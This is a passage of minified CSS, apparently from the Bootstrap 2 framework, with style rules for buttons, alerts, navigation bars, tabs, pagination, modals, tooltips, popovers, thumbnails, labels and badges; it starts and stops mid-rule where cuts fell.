.btn-info.dropdown-toggle{background-color:#2f96b4}.btn-group.open .btn-inverse.dropdown-toggle{background-color:#222}.btn .caret{margin-top:8px;margin-left:0}.btn-mini .caret,.btn-small .caret,.btn-large .caret{margin-top:6px}.btn-large .caret{border-top-width:5px;border-right-width:5px;border-left-width:5px}.dropup .btn-large .caret{border-top:0;border-bottom:5px solid #000}.btn-primary .caret,.btn-warning .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#fff;border-bottom-color:#fff}.btn-group-vertical{display:inline-block;*display:inline;*zoom:1}.btn-group-vertical .btn{display:block;float:none;width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.btn-group-vertical .btn+.btn{margin-top:-1px;margin-left:0}.btn-group-vertical .btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.btn-group-vertical .btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.btn-group-vertical .btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0}.btn-group-vertical .btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.alert{padding:8px 35px 8px 14px;margin-bottom:20px;color:#c09853;text-shadow:0 1px 0 rgba(255,255,255,0.5);background-color:#fcf8e3;border:1px solid #fbeed5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.alert h4{margin:0}.alert .close{position:relative;top:-2px;right:-21px;line-height:20px}.alert-success{color:#468847;background-color:#dff0d8;border-color:#d6e9c6}.alert-danger,.alert-error{color:#b94a48;background-color:#f2dede;border-color:#eed3d7}.alert-info{color:#3a87ad;background-color:#d9edf7;border-color:#bce8f1}.alert-block{padding-top:14px;padding-bottom:14px}.alert-block>p,.alert-block>ul{margin-bottom:0}.alert-block p+p{margin-top:5px}.nav{margin-bottom:20px;margin-left:0;list-style:none}.nav>li>a{display:block}.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>.pull-right{float:right}.nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999;text-shadow:0 1px 0 rgba(255,255,255,0.5);text-transform:uppercase}.nav li+.nav-header{margin-top:9px}.nav-list{padding-right:15px;padding-left:15px;margin-bottom:0}.nav-list>li>a,.nav-list .nav-header{margin-right:-15px;margin-left:-15px;text-shadow:0 1px 0 rgba(255,255,255,0.5)}.nav-list>li>a{padding:3px 15px}.nav-list>.active>a,.nav-list>.active>a:hover{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.2);background-color:#08c}.nav-list [class^="icon-"]{margin-right:2px}.nav-list .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #fff}.nav-tabs,.nav-pills{*zoom:1}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;line-height:0;content:""}.nav-tabs:after,.nav-pills:after{clear:both}.nav-tabs>li,.nav-pills>li{float:left}.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{margin-bottom:-1px}.nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.nav-pills>.active>a,.nav-pills>.active>a:hover{color:#fff;background-color:#08c}.nav-stacked>li{float:none}.nav-stacked>li>a{margin-right:0}.nav-tabs.nav-stacked{border-bottom:0}.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-topleft:4px}.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-moz-border-radius-bottomleft:4px}.nav-tabs.nav-stacked>li>a:hover{z-index:2;border-color:#ddd}.nav-pills.nav-stacked>li>a{margin-bottom:3px}.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px}.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.nav-pills .dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.nav .dropdown-toggle .caret{margin-top:6px;border-top-color:#08c;border-bottom-color:#08c}.nav .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580}.nav-tabs .dropdown-toggle .caret{margin-top:8px}.nav .active .dropdown-toggle .caret{border-top-color:#fff;border-bottom-color:#fff}.nav-tabs .active .dropdown-toggle .caret{border-top-color:#555;border-bottom-color:#555}.nav>.dropdown.active>a:hover{cursor:pointer}.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover{color:#fff;background-color:#999;border-color:#999}.nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret{border-top-color:#fff;border-bottom-color:#fff;opacity:1;filter:alpha(opacity=100)}.tabs-stacked .open>a:hover{border-color:#999}.tabbable{*zoom:1}.tabbable:before,.tabbable:after{display:table;line-height:0;content:""}.tabbable:after{clear:both}.tab-content{overflow:auto}.tabs-below>.nav-tabs,.tabs-right>.nav-tabs,.tabs-left>.nav-tabs{border-bottom:0}.tab-content>.tab-pane,.pill-content>.pill-pane{display:none}.tab-content>.active,.pill-content>.active{display:block}.tabs-below>.nav-tabs{border-top:1px solid #ddd}.tabs-below>.nav-tabs>li{margin-top:-1px;margin-bottom:0}.tabs-below>.nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.tabs-below>.nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent}.tabs-below>.nav-tabs>.active>a,.tabs-below>.nav-tabs>.active>a:hover{border-color:transparent #ddd #ddd #ddd}.tabs-left>.nav-tabs>li,.tabs-right>.nav-tabs>li{float:none}.tabs-left>.nav-tabs>li>a,.tabs-right>.nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px}.tabs-left>.nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd}.tabs-left>.nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.tabs-left>.nav-tabs>li>a:hover{border-color:#eee #ddd #eee #eee}.tabs-left>.nav-tabs .active>a,.tabs-left>.nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#fff}.tabs-right>.nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd}.tabs-right>.nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.tabs-right>.nav-tabs>li>a:hover{border-color:#eee #eee #eee #ddd}.tabs-right>.nav-tabs .active>a,.tabs-right>.nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#fff}.nav>.disabled>a{color:#999}.nav>.disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.navbar{*position:relative;*z-index:2;margin-bottom:20px;overflow:visible;color:#777}.navbar-inner{min-height:40px;padding-right:20px;padding-left:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top,#fff,#f2f2f2);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f2f2f2));background-image:-webkit-linear-gradient(top,#fff,#f2f2f2);background-image:-o-linear-gradient(top,#fff,#f2f2f2);background-image:linear-gradient(to bottom,#fff,#f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ffffffff',endColorstr='#fff2f2f2',GradientType=0);*zoom:1;-webkit-box-shadow:0 1px 4px rgba(0,0,0,0.065);-moz-box-shadow:0 1px 4px rgba(0,0,0,0.065);box-shadow:0 1px 4px rgba(0,0,0,0.065)}.navbar-inner:before,.navbar-inner:after{display:table;line-height:0;content:""}.navbar-inner:after{clear:both}.navbar .container{width:auto}.nav-collapse.collapse{height:auto}.navbar .brand{display:block;float:left;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777;text-shadow:0 1px 0 #fff}.navbar .brand:hover{text-decoration:none}.navbar-text{margin-bottom:0;line-height:40px}.navbar-link{color:#777}.navbar-link:hover{color:#333}.navbar .divider-vertical{height:40px;margin:0 9px;border-right:1px solid #fff;border-left:1px solid #f2f2f2}.navbar .btn,.navbar .btn-group{margin-top:5px}.navbar .btn-group .btn,.navbar .input-prepend .btn,.navbar .input-append .btn{margin-top:0}.navbar-form{margin-bottom:0;*zoom:1}.navbar-form:before,.navbar-form:after{display:table;line-height:0;content:""}.navbar-form:after{clear:both}.navbar-form input,.navbar-form select,.navbar-form .radio,.navbar-form .checkbox{margin-top:5px}.navbar-form input,.navbar-form select,.navbar-form .btn{display:inline-block;margin-bottom:0}.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px}.navbar-form .input-append,.navbar-form .input-prepend{margin-top:6px;white-space:nowrap}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0}.navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0}.navbar-search .search-query{padding:4px 14px;margin-bottom:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.navbar-static-top{position:static;width:100%;margin-bottom:0}.navbar-static-top .navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0}.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{border-width:0 0 1px}.navbar-fixed-bottom .navbar-inner{border-width:1px 0 0}.navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner{padding-right:0;padding-left:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px}.navbar-fixed-top{top:0}.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.1),0 1px 10px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,0.1),0 1px 10px rgba(0,0,0,0.1);box-shadow:inset 0 -1px 0 rgba(0,0,0,0.1),0 1px 10px rgba(0,0,0,0.1)}.navbar-fixed-bottom{bottom:0}.navbar-fixed-bottom .navbar-inner{-webkit-box-shadow:inset 0 1px 0 rgba(0,0,0,0.1),0 -1px 10px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 0 rgba(0,0,0,0.1),0 -1px 10px rgba(0,0,0,0.1);box-shadow:inset 0 1px 0 rgba(0,0,0,0.1),0 -1px 10px rgba(0,0,0,0.1)}.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0}.navbar .nav.pull-right{float:right;margin-right:0}.navbar .nav>li{float:left}.navbar .nav>li>a{float:none;padding:10px 15px 10px;color:#777;text-decoration:none;text-shadow:0 1px 0 #fff}.navbar .nav .dropdown-toggle .caret{margin-top:8px}.navbar .nav>li>a:focus,.navbar .nav>li>a:hover{color:#333;text-decoration:none;background-color:transparent}.navbar .nav>.active>a,.navbar .nav>.active>a:hover,.navbar .nav>.active>a:focus{color:#555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0,0,0,0.125);-moz-box-shadow:inset 0 3px 8px rgba(0,0,0,0.125);box-shadow:inset 0 3px 8px rgba(0,0,0,0.125)}.navbar .btn-navbar{display:none;float:right;padding:7px 10px;margin-right:5px;margin-left:5px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#ededed;*background-color:#e5e5e5;background-image:-webkit-gradient(linear,0 0,0 100%,from(#f2f2f2),to(#e5e5e5));background-image:-webkit-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:-o-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:linear-gradient(to bottom,#f2f2f2,#e5e5e5);background-image:-moz-linear-gradient(top,#f2f2f2,#e5e5e5);background-repeat:repeat-x;border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#fff2f2f2',endColorstr='#ffe5e5e5',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.075)}.navbar .btn-navbar:hover,.navbar .btn-navbar:active,.navbar .btn-navbar.active,.navbar .btn-navbar.disabled,.navbar .btn-navbar[disabled]{color:#fff;background-color:#e5e5e5;*background-color:#d9d9d9}.navbar .btn-navbar:active,.navbar .btn-navbar.active{background-color:#ccc \9}.navbar .btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,0.25);-moz-box-shadow:0 1px 0 rgba(0,0,0,0.25);box-shadow:0 1px 0 rgba(0,0,0,0.25)}.btn-navbar .icon-bar+.icon-bar{margin-top:3px}.navbar .nav>li>.dropdown-menu:before{position:absolute;top:-7px;left:9px;display:inline-block;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-left:7px solid transparent;border-bottom-color:rgba(0,0,0,0.2);content:''}.navbar .nav>li>.dropdown-menu:after{position:absolute;top:-6px;left:10px;display:inline-block;border-right:6px solid transparent;border-bottom:6px solid #fff;border-left:6px solid transparent;content:''}.navbar-fixed-bottom .nav>li>.dropdown-menu:before{top:auto;bottom:-7px;border-top:7px solid #ccc;border-bottom:0;border-top-color:rgba(0,0,0,0.2)}.navbar-fixed-bottom .nav>li>.dropdown-menu:after{top:auto;bottom:-6px;border-top:6px solid #fff;border-bottom:0}.navbar .nav li.dropdown.open>.dropdown-toggle,.navbar .nav li.dropdown.active>.dropdown-toggle,.navbar .nav li.dropdown.open.active>.dropdown-toggle{color:#555;background-color:#e5e5e5}.navbar .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#777;border-bottom-color:#777}.navbar .nav li.dropdown.open>.dropdown-toggle .caret,.navbar .nav li.dropdown.active>.dropdown-toggle .caret,.navbar .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#555;border-bottom-color:#555}.navbar .pull-right>li>.dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right{right:0;left:auto}.navbar .pull-right>li>.dropdown-menu:before,.navbar .nav>li>.dropdown-menu.pull-right:before{right:12px;left:auto}.navbar .pull-right>li>.dropdown-menu:after,.navbar .nav>li>.dropdown-menu.pull-right:after{right:13px;left:auto}.navbar .pull-right>li>.dropdown-menu .dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right .dropdown-menu{right:100%;left:auto;margin-right:-1px;margin-left:0;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px}.navbar-inverse{color:#999}.navbar-inverse .navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top,#222,#111);background-image:-webkit-gradient(linear,0 0,0 100%,from(#222),to(#111));background-image:-webkit-linear-gradient(top,#222,#111);background-image:-o-linear-gradient(top,#222,#111);background-image:linear-gradient(to bottom,#222,#111);background-repeat:repeat-x;border-color:#252525;filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff222222',endColorstr='#ff111111',GradientType=0)}.navbar-inverse .brand,.navbar-inverse .nav>li>a{color:#999;text-shadow:0 -1px 0 rgba(0,0,0,0.25)}.navbar-inverse .brand:hover,.navbar-inverse .nav>li>a:hover{color:#fff}.navbar-inverse .nav>li>a:focus,.navbar-inverse .nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .nav .active>a,.navbar-inverse .nav .active>a:hover,.navbar-inverse .nav .active>a:focus{color:#fff;background-color:#111}.navbar-inverse .navbar-link{color:#999}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .divider-vertical{border-right-color:#222;border-left-color:#111}.navbar-inverse .nav li.dropdown.open>.dropdown-toggle,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle{color:#fff;background-color:#111}.navbar-inverse .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#999;border-bottom-color:#999}.navbar-inverse .nav li.dropdown.open>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#fff;border-bottom-color:#fff}.navbar-inverse .navbar-search .search-query{color:#fff;background-color:#515151;border-color:#111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);box-shadow:inset 0 1px 2px rgba(0,0,0,0.1),0 1px 0 rgba(255,255,255,0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none}.navbar-inverse .navbar-search .search-query:-moz-placeholder{color:#ccc}.navbar-inverse .navbar-search .search-query:-ms-input-placeholder{color:#ccc}.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder{color:#ccc}.navbar-inverse .navbar-search .search-query:focus,.navbar-inverse .navbar-search .search-query.focused{padding:5px 15px;color:#333;text-shadow:0 1px 0 #fff;background-color:#fff;border:0;outline:0;-webkit-box-shadow:0 0 3px rgba(0,0,0,0.15);-moz-box-shadow:0 0 3px rgba(0,0,0,0.15);box-shadow:0 0 3px rgba(0,0,0,0.15)}.navbar-inverse .btn-navbar{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);background-color:#0e0e0e;*background-color:#040404;background-image:-webkit-gradient(linear,0 0,0 100%,from(#151515),to(#040404));background-image:-webkit-linear-gradient(top,#151515,#040404);background-image:-o-linear-gradient(top,#151515,#040404);background-image:linear-gradient(to bottom,#151515,#040404);background-image:-moz-linear-gradient(top,#151515,#040404);background-repeat:repeat-x;border-color:#040404 #040404 #000;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25);filter:progid:dximagetransform.microsoft.gradient(startColorstr='#ff151515',endColorstr='#ff040404',GradientType=0);filter:progid:dximagetransform.microsoft.gradient(enabled=false)}.navbar-inverse .btn-navbar:hover,.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active,.navbar-inverse .btn-navbar.disabled,.navbar-inverse .btn-navbar[disabled]{color:#fff;background-color:#040404;*background-color:#000}.navbar-inverse .btn-navbar:active,.navbar-inverse .btn-navbar.active{background-color:#000 \9}.breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.breadcrumb li{display:inline-block;*display:inline;text-shadow:0 1px 0 #fff;*zoom:1}.breadcrumb .divider{padding:0 5px;color:#ccc}.breadcrumb .active{color:#999}.pagination{height:40px;margin:20px 0}.pagination ul{display:inline-block;*display:inline;margin-bottom:0;margin-left:0;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;*zoom:1;-webkit-box-shadow:0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:0 1px 2px rgba(0,0,0,0.05);box-shadow:0 1px 2px rgba(0,0,0,0.05)}.pagination ul>li{display:inline}.pagination ul>li>a,.pagination ul>li>span{float:left;padding:0 14px;line-height:38px;text-decoration:none;background-color:#fff;border:1px solid #ddd;border-left-width:0}.pagination ul>li>a:hover,.pagination ul>.active>a,.pagination ul>.active>span{background-color:#f5f5f5}.pagination ul>.active>a,.pagination ul>.active>span{color:#999;cursor:default}.pagination ul>.disabled>span,.pagination ul>.disabled>a,.pagination ul>.disabled>a:hover{color:#999;cursor:default;background-color:transparent}.pagination ul>li:first-child>a,.pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-radius:3px 0 0 3px;-moz-border-radius:3px 0 0 3px;border-radius:3px 0 0 3px}.pagination ul>li:last-child>a,.pagination ul>li:last-child>span{-webkit-border-radius:0 3px 3px 0;-moz-border-radius:0 3px 3px 0;border-radius:0 3px 3px 0}.pagination-centered{text-align:center}.pagination-right{text-align:right}.pager{margin:20px 0;text-align:center;list-style:none;*zoom:1}.pager:before,.pager:after{display:table;line-height:0;content:""}.pager:after{clear:both}.pager li{display:inline}.pager a,.pager span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.pager a:hover{text-decoration:none;background-color:#f5f5f5}.pager .next a,.pager .next span{float:right}.pager .previous a{float:left}.pager .disabled a,.pager .disabled a:hover,.pager .disabled span{color:#999;cursor:default;background-color:#fff}.modal-open .modal .dropdown-menu{z-index:2050}.modal-open .modal .dropdown.open{*z-index:2050}.modal-open .modal .popover{z-index:2060}.modal-open .modal .tooltip{z-index:2080}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop,.modal-backdrop.fade.in{opacity:.8;filter:alpha(opacity=80)}.modal{position:fixed;top:50%;left:50%;z-index:1050;width:560px;margin:-250px 0 0 -280px;overflow:auto;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,0.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 3px 7px rgba(0,0,0,0.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,0.3);box-shadow:0 3px 7px rgba(0,0,0,0.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.modal.fade{top:-25%;-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out}.modal.fade.in{top:50%}.modal-header{padding:9px 15px;border-bottom:1px solid #eee}.modal-header .close{margin-top:2px}.modal-header h3{margin:0;line-height:30px}.modal-body{max-height:400px;padding:15px;overflow-y:auto}.modal-form{margin-bottom:0}.modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;*zoom:1;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff}.modal-footer:before,.modal-footer:after{display:table;line-height:0;content:""}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}.modal-footer .btn-group .btn+.btn{margin-left:-1px}.tooltip{position:absolute;z-index:1030;display:block;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);visibility:visible}.tooltip.in{opacity:.8;filter:alpha(opacity=80)}.tooltip.top{margin-top:-3px}.tooltip.right{margin-left:3px}.tooltip.bottom{margin-top:3px}.tooltip.left{margin-left:-3px}.tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.tooltip.top .tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000;border-width:5px 5px 0}.tooltip.right .tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000;border-width:5px 5px 5px 0}.tooltip.left .tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000;border-width:5px 0 5px 5px}.tooltip.bottom .tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000;border-width:0 5px 5px}.popover{position:absolute;top:0;left:0;z-index:1010;display:none;width:236px;padding:1px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,0.2);box-shadow:0 5px 10px rgba(0,0,0,0.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.popover.top{margin-bottom:10px}.popover.right{margin-left:10px}.popover.bottom{margin-top:10px}.popover.left{margin-right:10px}.popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.popover-content{padding:9px 14px}.popover-content p,.popover-content ul,.popover-content ol{margin-bottom:0}.popover .arrow,.popover .arrow:after{position:absolute;display:inline-block;width:0;height:0;border-color:transparent;border-style:solid}.popover .arrow:after{z-index:-1;content:""}.popover.top .arrow{bottom:-10px;left:50%;margin-left:-10px;border-top-color:#fff;border-width:10px 10px 0}.popover.top .arrow:after{bottom:-1px;left:-11px;border-top-color:rgba(0,0,0,0.25);border-width:11px 11px 0}.popover.right .arrow{top:50%;left:-10px;margin-top:-10px;border-right-color:#fff;border-width:10px 10px 10px 0}.popover.right .arrow:after{bottom:-11px;left:-1px;border-right-color:rgba(0,0,0,0.25);border-width:11px 11px 11px 0}.popover.bottom .arrow{top:-10px;left:50%;margin-left:-10px;border-bottom-color:#fff;border-width:0 10px 10px}.popover.bottom .arrow:after{top:-1px;left:-11px;border-bottom-color:rgba(0,0,0,0.25);border-width:0 11px 11px}.popover.left .arrow{top:50%;right:-10px;margin-top:-10px;border-left-color:#fff;border-width:10px 0 10px 10px}.popover.left .arrow:after{right:-1px;bottom:-11px;border-left-color:rgba(0,0,0,0.25);border-width:11px 0 11px 11px}.thumbnails{margin-left:-20px;list-style:none;*zoom:1}.thumbnails:before,.thumbnails:after{display:table;line-height:0;content:""}.thumbnails:after{clear:both}.row-fluid .thumbnails{margin-left:0}.thumbnails>li{float:left;margin-bottom:20px;margin-left:20px}.thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.055);-moz-box-shadow:0 1px 3px rgba(0,0,0,0.055);box-shadow:0 1px 3px rgba(0,0,0,0.055);-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}a.thumbnail:hover{border-color:#08c;-webkit-box-shadow:0 1px 4px rgba(0,105,214,0.25);-moz-box-shadow:0 1px 4px rgba(0,105,214,0.25);box-shadow:0 1px 4px rgba(0,105,214,0.25)}.thumbnail>img{display:block;max-width:100%;margin-right:auto;margin-left:auto}.thumbnail .caption{padding:9px;color:#555}.label,.badge{font-size:11.844px;font-weight:bold;line-height:14px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,0.25);white-space:nowrap;vertical-align:baseline;background-color:#999}.label{padding:1px 4px 2px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.badge{padding:1px 9px 2px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px}a.label:hover,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.label-important,.badge-important{background-color:#b94a48}.label-important[href],.badge-important[href]{background-color:#953b39}.label-warning,.badge-warning{background-color:#f89406}.label-warning[href],.badge-warning[href]{background-color:#c67605}.label-success,.badge-success{background-color:#468847}.label-success[href],.badge-success[href]{background-color:#356635}.label-info,.badge-info{background-color:#3a87ad}.label-info[href],.badge-info[href]{background-color:#2d6987}.label-inverse,.badge-inverse{background-color:#333}.label-inverse[href],.badge-inverse[href]{background-color:#1a1a1a}.btn .label,.btn .badge{position:relative;top:-1px}.btn-mini .label,.btn-mini .badge{top:0}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 